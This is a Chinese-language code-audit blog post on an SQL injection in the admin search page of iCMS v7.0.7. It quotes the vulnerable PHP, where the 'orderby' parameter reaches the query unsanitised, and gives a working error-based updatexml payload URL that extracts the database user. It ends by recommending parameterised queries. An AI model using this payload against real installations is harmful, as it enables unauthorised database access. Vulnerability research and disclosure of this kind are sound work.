【代码审计】iCMS_v7.0.7 search.admincp.php页面存在SQL注入漏洞

 

0x00 环境准备

iCMS官网:https://www.icmsdev.com

网站源码版本:iCMS-v7.0.7

程序源码下载:https://www.icmsdev.com/download/release/iCMS7/latest

默认后台地址:http://127.0.0.1/admincp.php

默认账号密码:用户名密码自设

测试网站首页:

【代码审计】iCMS_v7.0.7 search.admincp.php页面存在SQL注入漏洞

0x01 代码分析

1、漏洞文件位置:/app/search/search.admincp.php  第15-27行:

  1. public function do_iCMS(){
  2. if($_GET['keywords']) {
  3. $sql =" WHERE `search` like '%{$_GET['keywords']}%'";
  4. }
  5. $orderby    = $_GET['orderby']?$_GET['orderby']:"id DESC";
  6. $maxperpage = $_GET['perpage']>0?(int)$_GET['perpage']:20;
  7. $total      = iCMS::page_total_cache("SELECT count(*) FROM `#iCMS@__search_log` {$sql}","G");
  8. iUI::pagenav($total,$maxperpage,"条记录");
  9. 10.      $rs     = iDB::all("SELECT * FROM `#iCMS@__search_log` {$sql} order by {$orderby} LIMIT ".iUI::$offset." , {$maxperpage}");
  10. 11.      $_count = count($rs);
  11. 12.     include admincp::view("search.manage");
  12. 13.  }

这段函数中将获取到的参数keywords、orderby、maxperpage,然后进行SQL语句拼接,其中keywords有单引号保护,maxperpage强制转换为数字类型,orderby参数未经任何处理,带入数据库执行,导致程序在实现上存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息。

0x02 漏洞利用

根据漏洞位置,构造出参数 Payload:

http://127.0.0.1/admincp.php?app=search&perpage=20&keywords=1111&orderby=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))—

【代码审计】iCMS_v7.0.7 search.admincp.php页面存在SQL注入漏洞

0x03 修复建议

使用参数化查询可有效避免SQL注入

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】iCMS_v7.0.7 search.admincp.php页面存在SQL注入漏洞

上一篇:转载-- C/S 与 B/S 区别


下一篇:几个与特殊字符处理有关的PHP函数